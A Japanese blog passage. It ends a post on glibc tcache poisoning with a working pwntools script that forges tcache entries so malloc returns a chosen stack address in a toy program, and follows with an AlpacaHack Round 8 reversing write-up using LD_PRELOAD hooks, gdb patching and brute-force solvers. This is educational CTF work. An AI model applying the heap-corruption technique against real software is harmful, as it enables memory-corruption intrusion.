[*] malloc(0x38), b'8\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x90\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
(gdb) tcachebins
tcachebins
0x40 [  0]:  0x7ffffffc6

(gdb) p tcache->entries[2]
$7 = (tcache_entry *) 0x7ffffffc6

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7ffffffb6:    Cannot access memory at address 0x7ffffffb6

(gdb) x/6a $rsp+0x30+800
0x7fffffffe850: 0x5555555592a0  0x5555555592a0
0x7fffffffe860: 0x7fffffffe530  0x0
0x7fffffffe870: 0x0 0x0

malloc() したポインタたちを持っている配列を見るに、たしかに 0x7fffffffe530 が手に入っていることがわかります。

ふりかえり

さっきのは下記のような流れでやっています。

malloc(size)
free(0)
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
free(0)
tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
malloc(size)
malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))

下記のようにすると、free(0) をした段階で e->next がまともに戻されてしまうのでだめそうです。

-tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
+tamper(0, flat(p64(fd ^ target_addr), p64(key ^ 1), next_cyclic(size - 0x10)))
 free(0)

また、(target_addr & 0xF) == 0x0 でない場合、malloc(): unaligned tcache chunk detected と言われて abort します。

コード全体

import re
import sys

from pwn import *

prompt = b"pwndbg> "
cyclic_buf = iter(cyclic())


def next_cyclic(n):
    global cyclic_buf
    return bytes(next(cyclic_buf) for _ in range(n))


def malloc(size: int, data=None):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"+")
    p.sendline(f"{size}".encode())
    if data is None:
        data = next_cyclic(size)
    p.info(f"malloc({size:#x}), {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def free(index: int):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"-")
    p.sendline(f"{index}".encode())
    p.info(f"free({index})")
    p.recvuntil(prompt)


def leak(index: int) -> bytes:
    p.sendline(b"c")
    p.sendline(b"@")
    p.clean()
    p.sendline(f"{index}".encode())
    p.recvuntil(b"string: ")
    return p.recvuntil(b"\n\nBreakpoint 1,", drop=True)


def tamper(index: int, data: bytes):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"~")
    p.sendline(f"{index}".encode())
    p.warn(f".[{index}] = {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def e(comm: bytes):
    p.clean()
    p.sendline(comm)
    print("(gdb)", comm.decode())
    print(p.recvuntil(prompt, drop=True).decode())


def check():
    e(b"tcachebins")
    e(b"p tcache->entries[2]")
    e(b"x/10gx (void*)tcache->entries[2]-0x10")


breakaddr = 0x0000555555555419

p = process("gdb heap-bins", shell=True, stderr=sys.stderr)
p.recvuntil(prompt)

p.sendline(f"b *{breakaddr:#x}".encode())
p.sendline(b"r")

p.recvuntil(b"str: ")
str_addr = int(p.recvline()[:-1], 16)
print(f"str_addr: {str_addr:#x}")
target_addr = str_addr - 8 * 100


size = 0x38

malloc(size)
check()

free(0)
check()
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
chunk = fd << 12 | 0x2A0

tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
check()

free(0)
check()

tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
check()

malloc(size)
check()

malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))
check()
e(b"x/6a $rsp+0x30+800")

おきもち

言語仕様というかライブラリ側の視点で言えば、「そういうポインタを使った場合の動作は未定義です」で、コードの書き手側への教えとしては「そういうコードは書かないように気をつけようね〜」という感じになるのがよくある話かなぁと思うのですが、攻撃側の視点で「実際に中でどうなっていて、どうすればめちゃくちゃにできるのかな〜」と考えるのは面白そうです(これは CTF 全般に言えることかも)。

規格では “A translation unit shall not ...” とは書かれていても “You shall not write ...” のような言い方はされていないわけで、学習用に(再現性がない前提とかはわかった上で)未定義動作のコードを書くのはもっとやっていいんじゃないかなと思っています。 これは、「学習用・自分用のおもちゃプログラムであれば未定義動作が書かれていてもいいでしょ」という意味ではないです。 「未定義動作を踏んでても大丈夫だよね」に慣らすのではなくて「未定義動作を踏んだときにこうなる可能性もありうるよね」という部分で遊ぶのもいいよねという話です。前者を勧める人は勘弁してほしいです。

tcache bins に関してはお手軽に exploit できそうだったので遊んでいましたが、それ以外の bin たちについてはまだよくわかっていないので、また遊ぼうと思います。 大枠の流れ(どういう bin があって、どういう操作をするとどの bin に入って、とか)や、遊び方(どこになんのアドレスが入っていて、どう辿ると内部状態を知れるのか、とか)はなんとなくわかったような気がしています。

競プロ文脈で「結局 malloc() とか(あるいは std::vector とか)ってどうなってんの?」という話は、界隈でもちょこちょこ出たり出なかったりしていた記憶はありますが、ここ最近はあまり見ないような気がします。 そもそも C でやっている人自体が少ししかいなさそうなのと、最近は特に若者の低レイヤー離れの流れがあるかもしれません?

競プロ er 向けに低レイヤーの malloc() とかの解説記事めいたものを書く予定はないですが、気が変わる可能性もあります。 以前書いた「計算量や big-O の話」「浮動小数点数や誤差の話」のように、多くの人々が避けていたり雰囲気で扱っていたりしてまともな知見が共有されていないようなトピックを漁りたいという気持ちはあります。

おわり

おわりです。

write-up: AlpacaHack Round 8 (Rev)

AlpacaHack Round 8 (Rev) の write-up

AlpacaHack Round 8 (Rev) に参加して、3 問解いて 12/316 位でした。

振り返り

masking tape

とりあえずバイナリを落としてきて実行します。 こういう態度は本当に終わっているんですが、まぁ運営を信じて実行しちゃいます(仮想環境なので一応大丈夫なはず、一応)。

% ./masking-tape 
#> usage: ./masking-tape <input>

% ./masking-tape a
#> wrong

何らかの正しい <input> を寄越せという話っぽさを感じます。

とりあえず r2 (radareorg/radare2) を使って見てみると、strcmp でなにかを比較しているようなので、引数を見てみます*1。

// hook-a.c
#include <stdio.h>
int strcmp(char const* s1, char const* s2) {
    printf("'%s' <=> '%s'\n", s1, s2);
    return 0;
}

これを

% gcc-14 --shared -o hook-a.so hook-a.c

こうして

% LD_PRELOAD=./hook-a.so ./masking-tape a | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0327 0a27 0240 8008 0808 c8c8  => '.'.'.@......
#> 00000030: 8088 0880 8832 0832 8080 8032 0880 0808  .....2.2...2....
#> 00000040: 4888 80c8 2720 3c3d 3e20 2708 270a 636f  H...' <=> '.'.co
#> 00000050: 6e67 7261 747a 0a                        ngratz.

こう。少し遊んでみます。

% LD_PRELOAD=./hook-a.so ./masking-tape ab | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0313 270a 2702 4080 0808 08c8  => '..'.'.@.....
#> 00000030: c880 8808 8088 3208 3280 8080 3208 8008  ......2.2...2...
#> 00000040: 0848 8880 c827 203c 3d3e 2027 0827 0a63  .H...' <=> '.'.c
#> 00000050: 6f6e 6772 6174 7a0a                      ongratz.

% LD_PRELOAD=./hook-a.so ./masking-tape Al | xxd
#> 00000000: 2708 2303 0313 0313 0301 2331 1311 c803  '.#.......#1....
#> 00000010: c803 1301 c813 1303 1313 1113 2327 203c  ............#' <
#> 00000020: 3d3e 2027 0823 270a 2702 4080 0808 08c8  => '.#'.'.@.....
#> 00000030: c880 8808 8088 3208 3280 8080 3208 8008  ......2.2...2...
#> 00000040: 0848 8880 c827 203c 3d3e 2027 0240 270a  .H...' <=> '.@'.
#> 00000050: 636f 6e67 7261 747a 0a                   congratz.

1 文字追加するごとに右辺が伸びたり伸びなかったりしそう? なんかのハッシュ的な機構が入ってて、予想するのは大変そう。 とりあえず左辺は 28 bytes なので、28 bytes 程度のフラグが答えになりそう感。

いろいろ試していると、byte ごとに干渉しなさそうなので、とりあえず 1 byte ずつ決めていけばよさそう。なのでそういう solver を書きます。

from pwn import *

target1 = (
    "\x08\x23\x03\x03\x13\x03\x13\x03\x01\x23\x31\x13\x11\xC8"
    "\x03\xC8\x03\x13\x01\xC8\x13\x13\x03\x13\x13\x11\x13\x23"
)
target2 = (
    "\x02\x40\x80\x08\x08\x08\xC8\xC8\x80\x88\x08\x80\x88\x32"
    "\x08\x32\x80\x80\x80\x32\x08\x80\x08\x08\x48\x88\x80\xC8"
)


context.log_level = "error"


def escape(s):
    return s.replace("'", r"'\''")


flag = ""
for i in range(len(target1)):
    for c in range(ord(" "), ord("~") + 1):
        c = chr(c)
        p = process(
            f"LD_PRELOAD=./hook.-aso ./masking-tape '{escape(flag + c)}'", shell=True
        )
        recv1 = p.recvline()[:-1]
        recv2 = p.recvline()[:-1]
        p.close()
        expected1, actual1 = recv1[: len(target1)], recv1[len(target1) :]
        expected2, actual2 = recv2[: len(target2)], recv2[len(target2) :]
        if (
            len(actual1) == len(actual2) == i + 1
            and expected1[: i + 1] == actual1
            and expected2[: i + 1] == actual2
        ):
            flag += c
            break
    else:
        exit(1)

print(flag)
% python3 solve-a.py
#> Alpaca{********************}

よーぅし

hidden

これもとりあえず実行。

% ./hidden 
#> usage: ./hidden <input>

% ./hidden a
#> wrong

あ〜さっきと同じ感じね。

今回は memcmp で比較しているみたいです? なにやら GDB が main を見つけてくれないみたいで困った。

(gdb) b main
Function "main" not defined.
Make breakpoint pending on future shared library load? (y or [n]) n

r2 的には s main とかができたので、何らかのことをして隠されているのでしょうか。とりあえず puts を呼んでいる箇所で止めたりしてみます。

(gdb) b puts
Breakpoint 1 at 0x10b0

(gdb) r a
Starting program: /mnt/hidden a
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, __GI__IO_puts (str=0x555555556020 "wrong") at ./libio/ioputs.c:33
warning: 33 ./libio/ioputs.c: No such file or directory

(gdb) bt
#0  __GI__IO_puts (str=0x555555556020 "wrong") at ./libio/ioputs.c:33
#1  0x0000555555555545 in ?? ()
#2  0x00007ffff7dc23b8 in __libc_start_call_main (main=main@entry=0x5555555553e1, argc=argc@entry=2, argv=argv@entry=0x7fffffffed18) at ../sysdeps/nptl/libc_start_call_main.h:58
#3  0x00007ffff7dc247b in __libc_start_main_impl (main=0x5555555553e1, argc=2, argv=0x7fffffffed18, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffed08)
    at ../csu/libc-start.c:360
#4  0x0000555555555145 in ?? ()

(gdb) x/10i 0x0000555555555545
   0x555555555545:  mov    $0x0,%eax
   0x55555555554a:  mov    -0x18(%rbp),%rdx
   0x55555555554e:  sub    %fs:0x28,%rdx
   0x555555555557:  je     0x55555555555e
   0x555555555559:  call   0x5555555550d0 <__stack_chk_fail@plt>
   0x55555555555e:  mov    -0x8(%rbp),%rbx
   0x555555555562:  leave
   0x555555555563:  ret
   0x555555555564:  endbr64
   0x555555555568:  sub    $0x8,%rsp

なにやら r2 で見た main っぽい命令が見つかったので一旦満足。アドレスの下 1.5 byte も一致していました。

とりあえずまた似たようなことをやってみます。

// hook-b.c
#include <stdio.h>
int memcmp(void const* s1, void const* s2, size_t n) {
    printf("memcmp(%p, %p, %zu)\n", s1, s2, n);
    for (size_t i = 0; i < n; ++i) {
        printf("[%zu]: %#04x %#04x\n", i, *((unsigned char*)s1 + i), *((unsigned char*)s2 + i));
    }
    return 0;
}
% LD_PRELOAD=./hook-b.so ./hidden a
#> memcmp(0x5555555592a0, 0x555555558040, 108)
#> [0]: 0xfc 0xdc
#> [1]: 0xea 0x86
#> [2]: 0x6a 0x1a
#> [3]: 0xfb 0x9a
#> [4]: 0000 0xdd
#> [5]: 0000 0x93
#> [6]: 0000 0x9b
#> [7]: 0000 0x35
#:
#> [104]: 0000 0xb0
#> [105]: 0000 0xa2
#> [106]: 0000 0x99
#> [107]: 0000 0x91
#> congratz

これも結局ハッシュめいたものを通して一致すればおめでとう〜という感じっぽい?

% LD_PRELOAD=./hook-b.so ./hidden Alpaca{
#> memcmp(0x5555555592a0, 0x555555558040, 108)
#> [0]: 0xdc 0xdc
#> [1]: 0x86 0x86
#> [2]: 0x1a 0x1a
#> [3]: 0x9a 0x9a
#> [4]: 0xdd 0xdd
#> [5]: 0x93 0x93
#> [6]: 0x9b 0x9b
#> [7]: 0x41 0x35
#> [8]: 0000 0xd3

それっぽさがあるので、それっぽい solver を書きます。

from pwn import *

target = (
    b"\xDC\x86\x1A\x9A\xDD\x93\x9B\x35\xD3\x74\xDA\xEE\xE8\x5A\x3C\xC5"
    b"\x1C\x64\x33\x47\xD2\x3B\x28\xF3\xCC\x5A\x48\x8B\x74\x0C\x4B\x87"
    b"\x38\xD6\x80\x40\x51\xE6\x4A\x27\xA1\x73\x52\x0F\x93\x06\x54\x3D"
    b"\x65\x13\xFB\xC8\x65\xAF\xD2\x67\xB3\x09\xEF\x7D\x23\xA6\x76\xE5"
    b"\x13\x10\x13\xFF\x34\x8D\xAE\xD0\x9C\x2C\x4D\xF3\xA1\xBC\x46\x2F"
    b"\x98\x87\xB6\x57\x1A\xA2\x17\xF1\xF0\xE5\xB0\xBA\x9B\x6D\xB5\xA7"
    b"\xAC\x6A\x5E\xAC\xE8\xF6\x90\xD8\xB0\xA2\x99\x91"
)

context.log_level = "error"


def escape(s):
    return s.replace("'", r"'\''")


flag = ""
for i in range(len(target)):
    for c in range(ord(" "), ord("~") + 1):
        c = chr(c)
        p = process(f"LD_PRELOAD=./hook-b.so ./hidden '{escape(flag + c)}'", shell=True)
        recv = p.recvline()[:-1]
        p.close()
        if target[: len(flag) + 1] == recv[: len(flag) + 1]:
            print(c, end="", flush=True)
            flag += c
            break
    else:
        exit(1)

print()
% python3 solve-b.py
#> Alpaca{**************** ... ***}

よーぅし。

vcipher

とりあえず実行してみます。

% ./vcipher 
#> Input 32-character flag: a
#> Error: Flag must be exactly 32 characters.

% ./vcipher 
#> Input 32-character flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#> Input flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> Processing ...
#> The flag is incorrect.

お、さっきとは違いますね。

r2 で afl してみると C++ 感があり、ウワーという気持ちになります。

s main v していろいろ見るに、チェックはこのあたりが関係していそうです。

│ │       ┌─> 0x00003a05      8b3c86         mov edi, dword [rsi + rax*4]
│ │       ╎   0x00003a08      393c83         cmp dword [rbx + rax*4], edi
│ │       ╎   0x00003a0b      0f45d1         cmovne edx, ecx
│ │       ╎   0x00003a0e      48ffc0         inc rax
│ │       ╎   0x00003a11      4883f808       cmp rax, 8
│ │       └─< 0x00003a15      75ee           jne 0x3a05

ということで、そのあたりに breakpoint を打ちたいです。

(gdb) b main
Breakpoint 1 at 0x3660

(gdb) r
Starting program: /mnt/vcipher 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555557660 in main ()

(gdb) x/i 0x0000555555557a05
   0x555555557a05 <main+933>: mov    (%rsi,%rax,4),%edi

それっぽさがありますね。

Breakpoint 2, 0x0000555555557a05 in main ()
(gdb) x/8wx $rsi
0x5555555620a0 <_ZL14CORRECT_OUTPUT>: 0x345a7191  0xdcc4950a  0x8ad73f4e  0x6006deee
0x5555555620b0 <_ZL14CORRECT_OUTPUT+16>:  0xb474f6a4  0x9620574d  0x7fba5668  0x45cb397e

(gdb) x/8wx $rbx
0x7fffffffeba8: 0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
0x7fffffffebb8: 0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe

ここの値が同じになるような入力を与えればよさそうな気がします。一応確かめておきましょう。

(gdb) set *0x7fffffffeba8 = 0x345a7191
(gdb) set *0x7fffffffebac = 0xdcc4950a
(gdb) set *0x7fffffffebb0 = 0x8ad73f4e
(gdb) set *0x7fffffffebb4 = 0x6006deee
(gdb) set *0x7fffffffebb8 = 0xb474f6a4
(gdb) set *0x7fffffffebbc = 0x9620574d
(gdb) set *0x7fffffffebc0 = 0x7fba5668
(gdb) set *0x7fffffffebc4 = 0x45cb397e
(gdb) c
Continuing.
The flag is correct!
[Inferior 1 (process 30123) exited normally]

よさそうですね。

というところで、じゃぁどんな感じでここが変わるのかというのを調べていきます。

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#:
#> 0x7fffffffeba8:  0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxy
#:
#> 0x7fffffffeba8:  0x1558f6b2  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xc48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< yxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#:
#> 0x7fffffffeba8:  0x1558f692  0x1ca7b66f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0xe48238fe
#:

% gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' ./vcipher <<< Alpaca{xxxxxxxxxxxxxxxxxxxxxxxx}
#:
#> 0x7fffffffeba8:  0x345a7191  0x1cc4950f  0x03f6762c  0x094537e9
#> 0x7fffffffebb8:  0xf095f7a7  0xf7e4b764  0xfd337721  0x448238fe
#:

ふんふん? とりあえず、さっきの正解と見比べてみます。

0x5555555620a0:  0x345a7191  0xdcc4950a  0x8ad73f4e  0x6006deee
0x5555555620b0: 0xb474f6a4  0x9620574d  0x7fba5668  0x45cb397e

0x7fffffffeba8: 0x345a7191  0x1cc4950f  0x03f6762c  0x094537e9
0x7fffffffebb8: 0xf095f7a7  0xf7e4b764  0xfd337721  0x448238fe

0x7fffffffeba8: 0xoooooooo  0x.oooooo.  0x........  0x........
0x7fffffffebb8: 0x........  0x........  0x........  0xo......o

o でマークした部分は正解のものと一致していそうなので、1 byte ごとに 8 bits ぶん決まりそう?みたいな気持ちになります。 挙動を見た感じだと、3][22][11][00][3 みたいな感じでシフトされていそうな気配があります。

そういえば、入力が 32 bytes で、エンコードされた列も 32 bytes なので、(フラグが複数通りあり得たら嫌なので)全単射になっているんだろうなということを思ってはいました。

ということで結局 1 byte ごとに決める solver を書くのですが、一回の実行にめちゃくちゃ時間がかかるので、めちゃくちゃ時間がかかりそうです。

import sys

from pwn import *

target = [
    0x345A7191,
    0xDCC4950A,
    0x8AD73F4E,
    0x6006DEEE,
    0xB474F6A4,
    0x9620574D,
    0x7FBA5668,
    0x45CB397E,
]


context.log_level = "error"

flag_raw = ["!"] * 32

mask = [0x00000FF0, 0x000FF000, 0x0FF00000, 0xF000000F]
dec = [
    lambda x: x >> 4,
    lambda x: x >> 12,
    lambda x: x >> 20,
    lambda x: (x >> 28) | ((x & 0xF) << 4),
]

i = int(sys.argv[1])
flag_raw[i] = chr(int(sys.argv[2], 16))

target_i = dec[i % 4](target[i // 4] & mask[i % 4])
print(f"target: {target_i:#04x}")
while flag_raw[i] <= "~":
    c = flag_raw[i]
    flag = "".join(flag_raw).replace("'", r"'\''")
    print("current:", flag)
    p = process(
        f"printf '%s\n' '{flag}' | gdb -ex 'b *0x0000555555557a05' -ex 'r' -ex 'x/8wx $rbx' vcipher",
        shell=True,
    )
    p.recvuntil(b"--Type <RET> for more, q to quit, c to continue without paging--")
    recv1 = p.recvline()[:-1]
    recv2 = p.recvline()[:-1]
    p.close()
    words1 = [*map(lambda x: int(x, 16), recv1.decode().split(":")[1][1:].split("\t"))]
    words2 = [*map(lambda x: int(x, 16), recv2.decode().split(":")[1][1:].split("\t"))]
    words = words1 + words2
    print(hex(dec[i % 4](words[i // 4]) & 0xFF))

    if (target[i // 4] & mask[i % 4]) == (words[i // 4] & mask[i % 4]):
        print(c, flush=True)
        break

    flag_raw[i] = chr(ord(flag_raw[i]) + 1)

とりあえずこんな感じで、添字と開始文字を渡して全探索できるコードを書きました。 これを複窓で 20 並列くらいさせれば余裕でしょと思ったのですが、3–4 窓くらいでだいぶ限界み(プロセスの生成がめちゃ遅い)を感じたのでやめました。

% python3 after/solve-c.py 7 41
#> target: 0xad
#> current: !!!!!!!A!!!!!!!!!!!!!!!!!!!!!!!!
#> 0x83
#> current: !!!!!!!B!!!!!!!!!!!!!!!!!!!!!!!!
#> 0x85
#:
#> current: !!!!!!!V!!!!!!!!!!!!!!!!!!!!!!!!
#> 0xad
#> V

Alpaca{V...} ということなので、

Verilog can also be converted to C++.

からエスパーするに V3r1l0g... とかなのかな?と予想したりしました。当たっていたのでウケました。

なにやら上位 4 bits は固まって現れそう?というのと、それっぽい文章になっていそうというのからエスパーして、がちゃがちゃ試しました。 手作業で 40 分くらい(コードを修正しつつ)がんばりながら、フラグは手に入れたので一応満足です。

冷静になると、フラグの長さが既知で、各 byte ごとに並列してできるので、'!' * 32, '"' * 32, ... みたいにして探索すればいいんですよね(ということに、上記を書いてから「まともな解法わからんな〜」と考えながらようやく気づきました)。

from pwn import *

target = [
    0x345A7191,
    0xDCC4950A,
    0x8AD73F4E,
    0x6006DEEE,
    0xB474F6A4,
    0x9620574D,
    0x7FBA5668,
    0x45CB397E,
]


mask = [0x00000FF0, 0x000FF000, 0x0FF00000, 0xF000000F]
dec = [
    lambda x: x >> 4,
    lambda x: x >> 12,
    lambda x: x >> 20,
    lambda x: (x >> 28) | ((x & 0xF) << 4),
]


def get(words, i):
    return dec[i % 4](words[i // 4]) & 0xFF


table = [[0] * 256 for _ in range(32)]

for c in range(0x0, 0x100):
    print(f"current: {c:#04x}")
    p = process("gdb vcipher", shell=True)
    p.sendline(b"b *0x00005555555577c0")
    p.sendline(b"b *0x0000555555557a05")
    p.sendline(b"r")
    p.recvuntil(b"Input 32-character flag: ")
    p.sendline(b"0" * 32)

    p.recvuntil(b"Breakpoint 1,")
    p.recvline()
    p.sendline(b"p $rsp + 0x8")
    sp = int(p.recvline()[41:55].decode(), 16)
    p.sendline(f"x/a {hex(sp)}".encode())
    s = int(p.recvline()[35:49].decode(), 16)

    p.sendline(f"set *(long*){hex(s+0x00)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x08)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x10)} = {0x0101010101010101 * c}".encode())
    p.sendline(f"set *(long*){hex(s+0x18)} = {0x0101010101010101 * c}".encode())
    p.sendline(b"c")

    p.recvuntil(b"Breakpoint 2,")
    p.recvline()
    p.sendline(b"x/8wx $rbx")
    recv1 = p.recvline()[:-1]
    recv2 = p.recvline()[:-1]
    p.close()
    words1 = [*map(lambda x: int(x, 16), recv1.decode().split(":")[1][1:].split("\t"))]
    words2 = [*map(lambda x: int(x, 16), recv2.decode().split(":")[1][1:].split("\t"))]
    words = words1 + words2

    for i in range(32):
        table[i][c] = get(words, i)

for i in range(32):
    res = map(lambda x: f"{x:#04x}", table[i])
    print(f'[{i}]: {", ".join(res)}')

入力は適当に与えてしまって、後からデバッガでよい感じの入力を与えたことにすれば、空白文字なりなんなりの制限がある文字列も「与えた」ことにできるんですよね。というので、そういうのを書きました。

どうやら 0x80 以上の byte を与えたときは全単射じゃないっぽそうでしたが、それ未満では下記のような規則になっていそうでした。

0x00: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{b,9,f,d,3,1,7,5}
0x01: {7,6,5,4,3,2,1,0,f,e,d,c,b,a,9,8}{f,d,b,9,7,5,3,1}
0x02: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{5,7,1,3,d,f,9,b}
0x03: {d,c,f,e,9,8,b,a,5,4,7,6,1,0,3,2}{1,3,5,7,9,b,d,f}
0x04: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{6,4,2,0,e,c,a,8}
0x05: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{b,9,f,d,3,1,7,5}
0x06: {3,2,1,0,7,6,5,4,b,a,9,8,f,e,d,c}{a,8,e,c,2,0,6,4}
0x07: {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}{1,3,5,7,9,b,d,f}
0x08: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{2,0,6,4,a,8,e,c}
0x09: {9,8,b,a,d,c,f,e,1,0,3,2,5,4,7,6}{7,5,3,1,f,d,b,9}
0x0a: {c,d,e,f,8,9,a,b,4,5,6,7,0,1,2,3}{f,d,b,9,7,5,3,1}
0x0b: {3,2,1,0,7,6,5,4,b,a,9,8,f,e,d,c}{0,2,4,6,8,a,c,e}
0x0c: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{e,c,a,8,6,4,2,0}
0x0d: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{3,1,7,5,b,9,f,d}
0x0e: {6,7,4,5,2,3,0,1,e,f,c,d,a,b,8,9}{4,6,0,2,c,e,8,a}
0x0f: {6,7,4,5,2,3,0,1,e,f,c,d,a,b,8,9}{0,2,4,6,8,a,c,e}
0x10: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{a,8,e,c,2,0,6,4}
0x11: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{f,d,b,9,7,5,3,1}
0x12: {f,e,d,c,b,a,9,8,7,6,5,4,3,2,1,0}{9,b,d,f,1,3,5,7}
0x13: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{f,d,b,9,7,5,3,1}
0x14: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{6,4,2,0,e,c,a,8}
0x15: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{b,9,f,d,3,1,7,5}
0x16: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{e,c,a,8,6,4,2,0}
0x17: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{f,d,b,9,7,5,3,1}
0x18: {8,9,a,b,c,d,e,f,0,1,2,3,4,5,6,7}{2,0,6,4,a,8,e,c}
0x19: {c,d,e,f,8,9,a,b,4,5,6,7,0,1,2,3}{7,5,3,1,f,d,b,9}
0x1a: {2,3,0,1,6,7,4,5,a,b,8,9,e,f,c,d}{3,1,7,5,b,9,f,d}
0x1b: {e,f,c,d,a,b,8,9,6,7,4,5,2,3,0,1}{f,d,b,9,7,5,3,1}
0x1c: {7,6,5,4,3,2,1,0,f,e,d,c,b,a,9,8}{f,d,b,9,7,5,3,1}
0x1d: {d,c,f,e,9,8,b,a,5,4,7,6,1,0,3,2}{3,1,7,5,b,9,f,d}
0x1e: {b,a,9,8,f,e,d,c,3,2,1,0,7,6,5,4}{8,a,c,e,0,2,4,6}
0x1f: {1,0,3,2,5,4,7,6,9,8,b,a,d,c,f,e}{e,c,a,8,6,4,2,0}

たとえば、0x02: {a,b,8,9,e,f,c,d,2,3,0,1,6,7,4,5}{5,7,1,3,d,f,9,b} は、「添字が [2] の byte は 00 のとき a5 が返ってくる」「01 のとき a7」「07 のとき ab」「08 のとき b5」... のような意味で書いています。45 が返ってくるのは 70 のときで、これは p のことですね。

結局この表はなんですか?(?)ちゃんと †rev† すればわかる感じですか? 特に Verilog まわりのことはよくわかっていません。

こういう表になる前提であれば、そもそも 00 01 02 03 ... 07 08 10 18 20 ... 70 78 の 23 通りだけ試せばよさそうな気がしてきました(実際にはフラグに特殊文字は入らなさそうだからちょっと減りそう)。

所感

rev は、(まだ体系立てた勉強をしていないせいもあるかもですが)なんというか ad hoc っぽい気持ちになるというか、「今回はそういう簡単なエンコードをされていたからできたけど、そうじゃなかったらどうしようもなくない?」みたいな気持ちになります。 (解きようがない問題は出題されない気もしますが?)

と思ったんですが、そもそも自分がやったのは rev ではなくて実験とエスパーな気がしてきました。(r2 や gdb などで多少の assembly を読んでいるとはいえ)decompile しようとしたりせず雰囲気でやっているのが微妙そうです。 あまり長くない時間のコンテストで答えを出す前提だと仕方なさもありそうですが、復習はした方がよさそうだなと思いました。

pwn だと ROP なり ret2whatever なりの概ね体系立った「まぁざっくりこういう方針のことをやるよね」というのがあると思うんですが、rev だとどういう感じなんですかね。デバッガを使いつつ実験しながら脳筋でやるのは正統派ではなさそう(というか正統派でなくてほしい)みたいな気持ちはあります。時には必要ではありそうだとは思いつつですが。

とりあえず、(小さめの整数)/(それなりの整数) を見れたのでうれしい気持ちになりました。

おわり

おわりです。

*1:GDB で見た方が楽という説もあったかも?